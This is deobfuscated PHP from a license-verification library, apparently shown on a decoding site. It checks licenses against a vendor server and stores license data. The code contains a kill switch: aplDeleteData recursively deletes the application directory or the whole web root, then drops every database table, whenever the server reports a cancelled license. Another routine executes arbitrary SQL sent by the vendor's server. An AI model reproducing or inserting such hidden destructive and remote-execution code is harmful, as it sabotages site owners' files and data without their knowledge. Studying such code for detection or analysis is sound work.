if (!(!empty($notifications_array["\x6e\157\x74\x69\146\x69\x63\141\164\x69\157\x6e\137\144\x61\x74\141"]) && !empty($notifications_array["\x6e\x6f\164\x69\x66\151\143\141\x74\x69\x6f\x6e\x5f\144\x61\x74\141"]["\163\x63\x68\x65\155\x65\x5f\x71\165\x65\162\171"]))) {
goto k8lmC;
}
$mysql_bad_array = array("\x25\101\x50\x4c\137\104\101\x54\x41\x42\101\123\105\137\x54\x41\102\114\x45\45", "\x25\122\117\117\124\x5f\125\122\114\45", "\45\103\114\x49\105\116\124\137\105\115\x41\x49\114\x25", "\45\114\x49\x43\x45\116\123\105\137\x43\x4f\x44\105\x25", "\45\x4c\103\x44\x25", "\x25\114\x52\x44\x25", "\45\x49\116\123\x54\101\114\x4c\101\x54\x49\117\x4e\x5f\113\x45\131\x25", "\45\x49\116\123\x54\x41\x4c\114\101\124\111\117\x4e\137\110\101\x53\x48\45");
$mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
$license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["\x6e\x6f\164\x69\146\151\x63\x61\x74\x69\x6f\156\137\144\141\164\x61"]["\163\143\150\145\x6d\145\x5f\161\165\x65\162\x79"]);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
k8lmC:
Ztdsz:
if (!(APL_STORAGE == "\106\x49\114\105")) {
goto b2e1H;
}
$handle = @fopen(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION, "\167\53");
$fwrite = @fwrite($handle, "\74\122\117\x4f\x54\x5f\x55\122\114\76{$ROOT_URL}\x3c\57\x52\117\117\124\137\125\x52\114\x3e\74\x43\114\x49\105\116\x54\137\x45\115\x41\111\114\76{$CLIENT_EMAIL}\74\57\x43\114\x49\105\116\x54\x5f\x45\115\x41\x49\114\x3e\74\x4c\x49\103\x45\116\x53\105\x5f\x43\x4f\104\105\x3e{$LICENSE_CODE}\74\x2f\114\111\x43\105\116\x53\x45\137\103\117\104\105\x3e\74\114\103\104\x3e{$LCD}\74\x2f\114\103\x44\76\74\x4c\122\104\76{$LRD}\x3c\x2f\x4c\x52\x44\x3e\74\111\x4e\123\x54\101\114\x4c\x41\x54\x49\117\116\137\113\x45\x59\76{$INSTALLATION_KEY}\74\57\x49\x4e\x53\x54\101\114\114\101\x54\x49\117\x4e\x5f\113\x45\131\x3e\74\111\116\123\x54\101\114\114\x41\124\111\x4f\116\x5f\x48\101\123\x48\x3e{$INSTALLATION_HASH}\x3c\x2f\x49\116\x53\124\101\114\x4c\x41\124\x49\x4f\116\137\x48\x41\x53\x48\x3e");
if (!($fwrite === false)) {
goto xCqTM;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
xCqTM:
@fclose($handle);
b2e1H:
owzQp:
goto lqNfV;
tELdB:
$notifications_array["\156\x6f\164\151\x66\x69\143\141\x74\151\157\156\137\143\141\163\x65"] = "\x6e\x6f\164\x69\x66\x69\143\141\164\151\157\156\137\141\154\x72\145\141\x64\171\x5f\x69\x6e\x73\164\x61\154\x6c\x65\x64";
$notifications_array["\156\x6f\164\151\146\151\x63\141\x74\151\157\x6e\x5f\164\145\170\x74"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
lqNfV:
ch7kw:
return $notifications_array;
}
function preparePackageInstallation($installable)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (!empty($apl_core_notifications)) {
goto R78TW;
}
$MYSQLI_LINK = getMysqliConnection();
$core_license = aplGetLicenseData($MYSQLI_LINK);
if (!(empty($core_license) || !is_array($core_license))) {
goto I6jYA;
}
throw new \Exception("\x43\157\x72\x65\40\x73\x63\162\x69\x70\x74\x20\154\x69\x63\145\156\x73\145\40" . "\166\141\154\x69\x64\x61\x74\151\157\156" . "\40\x66\141\x69\x6c\145\x64\41\x20\x50\x6c\145\141\x73\145\x20\143\157\x6e\164\141\143\164" . "\x20\x73\x75\x70\x70\x6f\x72\164\x20\x66\x6f\162\x20\x68\x65\154\160\56");
I6jYA:
$CLIENT_EMAIL = $core_license["\x43\114\111\x45\116\x54\x5f\x45\115\x41\111\114"];
$LICENSE_CODE = $installable["\x6c\x69\x63\145\x6e\x73\x65\137\x6b\x65\x79"];
$ROOT_URL = config("\x61\160\x70\x2e\x75\162\x6c");
$INSTALLATION_HASH = hash("\163\150\141\62\65\66", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "\x70\162\x6f\x64\x75\x63\164\x5f\151\x64\75" . rawurlencode($installable["\151\144"]) . "\46\143\x6c\x69\x65\x6e\x74\137\x65\155\141\151\154\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\x6c\x69\143\x65\156\163\145\x5f\x63\x6f\144\x65\75" . rawurlencode($LICENSE_CODE) . "\46\x72\157\157\x74\x5f\x75\x72\154\75" . rawurlencode($ROOT_URL) . "\x26\x69\156\163\x74\x61\x6c\154\x61\164\151\157\156\137\x68\141\x73\150\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\151\143\145\156\163\145\x5f\x73\151\147\156\x61\x74\165\162\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\151\x64"]));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\160\x6c\x5f\x63\x61\x6c\154\142\x61\143\153\x73\57\x6c\x69\143\145\156\163\145\137\151\x6e\x73\164\x61\154\x6c\x2e\160\150\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\151\144"]);
if ($notifications_array["\x6e\x6f\164\x69\x66\151\143\x61\x74\151\157\156\137\x63\x61\x73\x65"] == "\156\x6f\x74\x69\146\151\143\141\164\x69\157\156\x5f\154\151\143\145\x6e\163\x65\x5f\x6f\153") {
goto JHgYB;
}
if (empty($notifications_array["\x6e\x6f\164\x69\x66\151\x63\x61\164\151\x6f\156\x5f\x74\x65\170\x74"])) {
goto HFC_3;
}
throw new \Exception("\x4c\151\143\x65\156\x73\x65\x20" . "\166\x61\154\x69\144\x61\164\151\157\156" . "\40\146\141\151\x6c\x65\144\x21\x20" . $notifications_array["\156\157\x74\x69\146\x69\x63\141\x74\x69\157\x6e\137\x74\145\170\x74"]);
HFC_3:
goto gvG_i;
JHgYB:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\131\x2d\x6d\55\144"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt(date("\131\55\x6d\55\144", strtotime("\55" . APL_DAYS . "\40\x64\141\x79\163")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("\x59\55\x6d\55\x64"), APL_SALT . $INSTALLATION_KEY);
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\x6c\137\x63\141\154\x6c\x62\141\143\153\x73\57\154\x69\143\145\156\x73\145\137\x73\143\x68\145\155\x65\56\160\x68\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["\151\144"]);
if (!(!empty($notifications_array["\x6e\x6f\x74\x69\146\x69\143\141\x74\151\157\x6e\x5f\x64\x61\x74\141"]) && !empty($notifications_array["\x6e\x6f\164\151\x66\x69\143\141\x74\151\157\156\137\x64\x61\x74\x61"]["\163\x63\150\x65\155\x65\137\161\x75\145\162\x79"]))) {
goto Zp2j0;
}
return ["\151\156\x73\x74\x61\x6c\154\x61\x74\151\157\156\x5f\x6b\145\x79" => $INSTALLATION_KEY, "\x69\156\163\x74\x61\x6c\154\x61\164\x69\x6f\156\x5f\x68\141\x73\x68" => $INSTALLATION_HASH, "\x6c\x63\144" => $LCD, "\x6c\162\144" => $LRD];
Zp2j0:
gvG_i:
R78TW:
throw new \Exception("\x4c\151\x63\x65\156\x73\x65\x20" . "\166\141\154\151\144\141\164\x69\x6f\x6e" . "\40\x66\141\151\x6c\145\144\41\x20\120\x6c\x65\x61\163\145\40\x63\x6f\156\x74\141\x63\x74" . "\40\x73\165\160\x70\x6f\162\164\x20\146\x6f\x72\x20\150\x65\x6c\x70\56");
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = array();
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto dvmK2;
}
$notifications_array["\x6e\x6f\164\x69\146\151\143\141\164\x69\x6f\156\137\143\x61\163\x65"] = "\156\157\164\x69\x66\x69\143\x61\x74\151\x6f\x6e\137\163\x63\162\x69\160\x74\137\x63\157\x72\x72\165\x70\164\145\144";
$notifications_array["\156\157\x74\x69\x66\151\143\141\x74\x69\x6f\x6e\x5f\164\x65\x78\164"] = implode("\x3b\40", $apl_core_notifications);
goto LIU2c;
dvmK2:
if (aplCheckData($MYSQLI_LINK)) {
goto O2nSC;
}
$notifications_array["\156\x6f\x74\x69\146\151\x63\x61\x74\151\157\156\x5f\x63\x61\x73\x65"] = "\x6e\x6f\164\x69\x66\151\143\141\164\x69\157\x6e\x5f\154\151\143\x65\156\x73\145\137\143\x6f\x72\x72\165\x70\164\x65\x64";
$notifications_array["\x6e\157\164\x69\146\x69\143\141\164\x69\157\156\x5f\164\145\x78\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto SsABv;
O2nSC:
extract(aplGetLicenseData($MYSQLI_LINK));
if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("\131\x2d\x6d\x2d\144")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("\131\x2d\x6d\55\x64") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("\x59\55\155\55\x64") && $FORCE_VERIFICATION === 0) {
goto QKndy;
}
$post_info = "\160\162\x6f\x64\165\143\164\137\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6c\151\x65\x6e\164\137\145\155\x61\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\46\154\x69\x63\x65\x6e\x73\x65\137\143\x6f\144\x65\75" . rawurlencode($LICENSE_CODE) . "\46\x72\157\x6f\x74\137\x75\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\x26\151\x6e\x73\x74\141\x6c\154\x61\x74\x69\x6f\x6e\137\x68\141\x73\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\x63\x65\156\163\145\x5f\163\151\147\156\x61\x74\x75\162\x65\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\x70\x6c\137\x63\141\x6c\154\142\x61\143\153\x73\x2f\154\x69\143\x65\156\x73\145\137\x76\x65\x72\x69\x66\171\x2e\160\150\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\x6e\x6f\x74\151\146\x69\143\x61\x74\151\157\x6e\x5f\x63\x61\x73\x65"] == "\x6e\157\164\151\146\151\143\141\x74\151\157\x6e\x5f\154\x69\x63\145\156\x73\x65\137\x6f\153")) {
goto rxeCG;
}
$update_lcd_value = 1;
rxeCG:
if (!($notifications_array["\x6e\x6f\164\x69\146\x69\x63\x61\164\151\157\x6e\137\x63\141\x73\x65"] == "\156\x6f\164\x69\x66\x69\x63\141\x74\x69\157\156\137\x6c\151\143\x65\156\163\145\137\x63\141\156\x63\145\x6c\154\145\144" && APL_DELETE_CANCELLED == "\x59\105\x53")) {
goto gNsIU;
}
aplDeleteData($MYSQLI_LINK);
gNsIU:
goto hQyRq;
QKndy:
$notifications_array["\x6e\x6f\164\151\x66\151\143\141\164\x69\x6f\156\x5f\x63\141\163\145"] = "\x6e\157\164\151\146\151\143\x61\x74\x69\x6f\156\137\x6c\151\143\x65\156\x73\x65\137\157\x6b";
$notifications_array["\x6e\157\164\151\146\x69\143\141\164\x69\x6f\156\137\x74\145\170\x74"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
hQyRq:
if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("\131\55\x6d\55\x64"))) {
goto pUhtQ;
}
$update_lrd_value = 1;
pUhtQ:
if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
goto FfXp1;
}
if ($update_lcd_value == 1) {
goto eqAbZ;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto vy21M;
eqAbZ:
$LCD = date("\131\55\155\55\x64");
vy21M:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("\131\55\155\55\x64"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("\131\55\x6d\x2d\x64"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "\x44\x41\x54\101\x42\x41\123\x45")) {
goto pY1cA;
}
$stmt = mysqli_prepare($MYSQLI_LINK, "\125\x50\104\x41\124\105\x20" . APL_DATABASE_TABLE . "\x20\x53\105\124\x20\x4c\x43\x44\75\x3f\x2c\x20\114\122\x44\x3d\77\x2c\40\x49\x4e\x53\124\101\x4c\114\x41\124\111\117\116\x5f\113\105\x59\75\x3f");
if (!$stmt) {
goto XgM2K;
}
mysqli_stmt_bind_param($stmt, "\163\x73\x73", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt);
$affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0)) {
goto peEvw;
}
$updated_records = $updated_records + $affected_rows;
peEvw:
mysqli_stmt_close($stmt);
XgM2K:
if (!($updated_records < 1)) {
goto kM3Fg;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit;
kM3Fg:
pY1cA:
if (!(APL_STORAGE == "\x46\x49\114\105")) {
goto RwUvp;
}
$handle = @fopen(APL_DIRECTORY . "\x2f" . APL_LICENSE_FILE_LOCATION, "\167\53");
$fwrite = @fwrite($handle, "\74\122\x4f\x4f\124\137\125\122\x4c\76{$ROOT_URL}\x3c\x2f\122\x4f\117\x54\137\125\x52\114\x3e\x3c\103\x4c\111\105\x4e\124\x5f\x45\x4d\101\x49\x4c\76{$CLIENT_EMAIL}\x3c\x2f\x43\x4c\111\x45\x4e\124\x5f\105\115\101\x49\x4c\76\74\114\x49\x43\x45\x4e\123\105\137\x43\x4f\104\105\76{$LICENSE_CODE}\x3c\x2f\114\x49\103\105\116\x53\x45\137\x43\x4f\104\105\x3e\74\x4c\103\x44\76{$LCD}\x3c\x2f\114\x43\104\x3e\74\114\x52\x44\76{$LRD}\x3c\x2f\114\122\x44\x3e\74\x49\x4e\x53\124\x41\x4c\x4c\x41\124\x49\x4f\116\x5f\113\105\x59\76{$INSTALLATION_KEY}\74\57\111\116\x53\x54\101\x4c\114\x41\124\111\117\x4e\x5f\x4b\x45\131\x3e\74\x49\x4e\x53\124\x41\114\114\101\124\x49\117\x4e\x5f\x48\x41\x53\110\x3e{$INSTALLATION_HASH}\x3c\57\111\116\123\x54\x41\114\114\101\x54\111\x4f\116\x5f\x48\x41\123\110\x3e");
if (!($fwrite === false)) {
goto hdzPp;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
hdzPp:
@fclose($handle);
RwUvp:
FfXp1:
SsABv:
LIU2c:
if (!($notifications_array["\x6e\x6f\164\x69\146\x69\x63\141\164\x69\x6f\156\137\143\x61\x73\x65"] != "\x6e\157\x74\151\x66\x69\143\141\x74\151\157\156\137\x6c\151\x63\145\156\163\145\x5f\157\153")) {
goto k5osg;
}
echo "\x3c\142\x72\x2f\x3e\74\142\162\x2f\x3e";
echo "\x4c\151\143\x65\156\x73\145\x20\151\x73\x20\156\157\x74" . "\40\x69\x6e\163\x74\141\154\x6c\x65\144\40\x79\x65\164" . "\x20\x6f\x72\x20\143\157\x72\x72\x75\x70\164\145\144\56\x20\x50\x6c\145\x61\x73\145" . "\x20\x63\x6f\156\164\141\x63\x74" . "\x20\163\x75\x70\x70\x6f\x72\x74\40" . "\164\x65\141\x6d\40";
echo "\40\x3c\141\x20\150\x72\x65\146\75\42" . get_license_reset_url() . "\x22\76" . trans("\x61\x70\x70\x2e\x75\160\x64\141\x74\x65\x5f\x61\160\x70\137\x6c\151\x63\145\x6e\x73\x65") . "\x3c\x2f\x61\76";
exit;
k5osg:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto oCoBa;
}
$notifications_array["\156\x6f\164\151\x66\151\x63\141\164\151\x6f\x6e\137\143\x61\x73\145"] = "\156\157\x74\x69\146\151\x63\141\x74\151\x6f\x6e\x5f\163\x63\162\151\160\164\x5f\143\x6f\162\x72\165\x70\x74\145\144";
$notifications_array["\x6e\x6f\164\x69\x66\151\x63\141\164\x69\157\156\137\x74\145\170\x74"] = implode("\x3b\40", $apl_core_notifications);
goto CTl29;
oCoBa:
if (aplCheckData($MYSQLI_LINK)) {
goto JaMI6;
}
$notifications_array["\156\x6f\x74\151\x66\x69\143\x61\164\x69\157\x6e\x5f\x63\141\x73\x65"] = "\156\x6f\164\151\146\x69\x63\141\164\x69\x6f\156\137\x6c\151\x63\145\x6e\x73\x65\x5f\x63\x6f\162\x72\165\160\164\x65\144";
$notifications_array["\x6e\x6f\x74\151\x66\x69\143\141\164\151\157\156\137\164\145\x78\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto K9SUE;
JaMI6:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\x70\162\157\x64\165\x63\164\137\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6c\x69\145\156\164\x5f\145\x6d\x61\151\154\75" . rawurlencode($CLIENT_EMAIL) . "\46\x6c\x69\143\145\x6e\163\145\x5f\x63\157\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\x72\x6f\157\164\x5f\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\151\156\x73\x74\141\x6c\154\141\164\151\x6f\156\x5f\150\141\x73\150\75" . rawurlencode($INSTALLATION_HASH) . "\x26\154\x69\143\x65\x6e\163\x65\x5f\x73\x69\x67\156\x61\164\165\162\145\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\57\141\160\x6c\137\143\141\x6c\x6c\x62\141\x63\153\x73\57\154\x69\x63\145\x6e\x73\x65\137\163\165\x70\x70\x6f\162\164\56\x70\150\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
K9SUE:
CTl29:
return $notifications_array;
}
function aplVerifyUpdates($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto Q521a;
}
$notifications_array["\x6e\x6f\164\151\x66\x69\143\x61\x74\151\157\156\x5f\143\141\163\145"] = "\x6e\157\x74\151\x66\151\143\x61\x74\x69\x6f\x6e\137\x73\143\x72\151\x70\x74\137\143\157\x72\x72\165\160\x74\x65\144";
$notifications_array["\156\157\x74\x69\146\151\x63\141\164\151\157\156\137\164\x65\170\x74"] = implode("\73\40", $apl_core_notifications);
goto phIiC;
Q521a:
if (aplCheckData($MYSQLI_LINK)) {
goto t_vjp;
}
$notifications_array["\x6e\157\x74\151\146\151\143\141\x74\x69\x6f\x6e\x5f\x63\x61\163\x65"] = "\x6e\x6f\164\151\146\x69\143\141\164\x69\157\x6e\137\x6c\x69\143\145\156\163\145\137\143\157\x72\162\165\160\x74\145\x64";
$notifications_array["\156\x6f\164\151\146\x69\x63\141\x74\151\x6f\156\x5f\164\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto DSELh;
t_vjp:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\x70\162\157\144\x75\143\164\x5f\151\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\x6c\x69\x65\x6e\x74\x5f\x65\155\141\151\154\75" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\x63\x65\x6e\163\145\137\x63\157\144\x65\75" . rawurlencode($LICENSE_CODE) . "\46\x72\157\x6f\164\137\165\162\154\x3d" . rawurlencode($ROOT_URL) . "\46\151\156\163\164\141\x6c\x6c\141\x74\x69\157\156\x5f\x68\x61\x73\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\x26\154\x69\x63\x65\x6e\x73\x65\137\x73\x69\x67\156\141\164\165\162\x65\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\57\141\x70\154\x5f\x63\x61\x6c\x6c\x62\141\143\x6b\163\57\x6c\151\x63\145\156\163\145\137\x75\x70\144\x61\164\x65\163\56\160\150\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
DSELh:
phIiC:
return $notifications_array;
}
function incevioUpdateLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto PELZp;
}
$notifications_array["\x6e\157\x74\x69\146\x69\143\141\164\x69\157\x6e\x5f\x63\141\163\x65"] = "\156\157\164\x69\x66\x69\143\141\x74\151\x6f\156\137\x73\x63\162\x69\160\164\137\x63\x6f\162\162\x75\x70\x74\145\144";
$notifications_array["\x6e\x6f\x74\151\x66\x69\143\x61\164\151\157\x6e\x5f\x74\x65\170\x74"] = implode("\x3b\40", $apl_core_notifications);
goto Eg8ps;
PELZp:
if (aplCheckData($MYSQLI_LINK)) {
goto wOnMQ;
}
$notifications_array["\156\x6f\164\151\146\x69\x63\x61\164\151\157\x6e\137\x63\141\163\x65"] = "\156\157\164\151\146\151\x63\x61\164\151\157\x6e\137\x6c\x69\x63\145\156\163\145\x5f\143\157\x72\162\x75\160\x74\145\x64";
$notifications_array["\156\x6f\x74\151\x66\x69\x63\x61\164\151\x6f\156\x5f\164\145\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto Qt26v;
wOnMQ:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\160\162\157\x64\x75\x63\164\x5f\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\143\x6c\x69\145\x6e\x74\x5f\x65\x6d\x61\x69\x6c\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\143\145\156\x73\x65\137\x63\157\x64\145\75" . rawurlencode($LICENSE_CODE) . "\x26\162\x6f\x6f\x74\x5f\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\x26\151\156\163\164\141\x6c\x6c\x61\x74\x69\157\x6e\137\150\141\163\x68\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\x6c\x69\143\145\156\163\x65\137\163\151\147\156\141\164\x75\x72\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\57\x61\160\154\137\143\x61\154\154\142\141\143\x6b\163\x2f\x6c\151\x63\x65\x6e\x73\x65\137\x75\160\144\141\164\145\x2e\x70\x68\160", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
Qt26v:
Eg8ps:
return $notifications_array;
}
function incevioUninstallLicense($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto PdMSN;
}
$notifications_array["\156\x6f\x74\151\x66\x69\x63\x61\x74\151\x6f\156\x5f\x63\141\x73\x65"] = "\x6e\x6f\x74\x69\146\x69\143\141\x74\x69\157\156\137\163\x63\162\151\x70\x74\x5f\143\x6f\162\162\165\160\164\145\144";
$notifications_array["\156\x6f\164\x69\146\151\x63\x61\164\151\157\x6e\137\164\145\x78\x74"] = implode("\x3b\x20", $apl_core_notifications);
goto vHogj;
PdMSN:
if (aplCheckData($MYSQLI_LINK)) {
goto tXGWg;
}
$notifications_array["\x6e\157\164\x69\146\151\143\141\x74\x69\157\x6e\137\143\141\x73\145"] = "\156\x6f\x74\x69\x66\151\143\141\164\x69\x6f\156\137\154\x69\143\145\x6e\x73\145\x5f\143\x6f\x72\162\x75\160\x74\145\x64";
$notifications_array["\156\157\x74\151\x66\151\143\141\x74\151\x6f\x6e\137\x74\x65\x78\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto PgzLD;
tXGWg:
extract(aplGetLicenseData($MYSQLI_LINK));
$post_info = "\160\x72\157\144\x75\x63\x74\x5f\x69\x64\x3d" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6c\151\x65\156\164\137\145\155\141\151\154\75" . rawurlencode($CLIENT_EMAIL) . "\x26\154\x69\143\145\x6e\163\x65\x5f\143\x6f\x64\x65\x3d" . rawurlencode($LICENSE_CODE) . "\46\162\157\x6f\164\137\x75\x72\154\x3d" . rawurlencode($ROOT_URL) . "\46\151\x6e\163\x74\x61\154\154\x61\164\151\x6f\156\x5f\x68\141\x73\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\154\151\x63\x65\156\163\x65\x5f\163\x69\x67\x6e\141\164\165\162\145\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\154\x5f\x63\x61\x6c\154\x62\141\143\x6b\163\57\x6c\x69\143\145\x6e\163\145\x5f\x75\x6e\151\156\x73\x74\x61\x6c\x6c\x2e\x70\x68\x70", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["\156\x6f\164\x69\146\151\x63\141\x74\x69\x6f\156\x5f\143\141\x73\x65"] == "\156\x6f\164\151\146\151\143\x61\x74\x69\157\x6e\137\154\x69\x63\145\156\x73\145\137\x6f\153")) {
goto NqBJr;
}
if (!(APL_STORAGE == "\104\x41\124\101\x42\x41\x53\105")) {
goto giMzL;
}
mysqli_query($MYSQLI_LINK, "\104\x45\x4c\105\x54\105\40\x46\122\x4f\x4d\x20" . APL_DATABASE_TABLE);
mysqli_query($MYSQLI_LINK, "\x44\122\117\x50\x20\124\101\102\114\x45\x20" . APL_DATABASE_TABLE);
giMzL:
if (!(APL_STORAGE == "\106\111\114\105")) {
goto ek5ql;
}
$handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\x2b");
@fclose($handle);
ek5ql:
NqBJr:
PgzLD:
vHogj:
return $notifications_array;
}
function aplDeleteData($MYSQLI_LINK = null)
{
if (APL_GOD_MODE == "\131\x45\x53" && isset($_SERVER["\x44\x4f\103\x55\x4d\105\x4e\x54\137\122\117\x4f\x54"])) {
goto QSiav;
}
$root_directory = dirname(__DIR__);
goto up2V8;
QSiav:
$root_directory = $_SERVER["\x44\x4f\x43\x55\x4d\x45\x4e\x54\137\x52\x4f\117\124"];
up2V8:
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
FUJhN:
}
onx_1:
rmdir($root_directory);
if (!(APL_STORAGE == "\x44\101\x54\101\x42\101\x53\x45")) {
goto bU4pL;
}
$database_tables_array = array();
$table_list_results = mysqli_query($MYSQLI_LINK, "\x53\x48\x4f\127\40\124\x41\102\114\x45\123");
JGR7g:
if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
goto KZysa;
}
$database_tables_array[] = $table_list_row[0];
goto JGR7g;
KZysa:
if (empty($database_tables_array)) {
goto iFLX3;
}
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "\x44\x45\114\x45\x54\105\x20\x46\x52\x4f\115\x20{$table_name}");
NV7x0:
}
CAqxf:
foreach ($database_tables_array as $table_name) {
mysqli_query($MYSQLI_LINK, "\x44\122\117\120\x20\x54\101\102\x4c\x45\40{$table_name}");
PWRY7:
}
Un_Vt:
iFLX3:
bU4pL:
exit;
}
Function Calls
None |
Stats
MD5 | e4c13b3100c124ab80eb8e94410959e2 |
Eval Count | 0 |
Decode Time | 67 ms |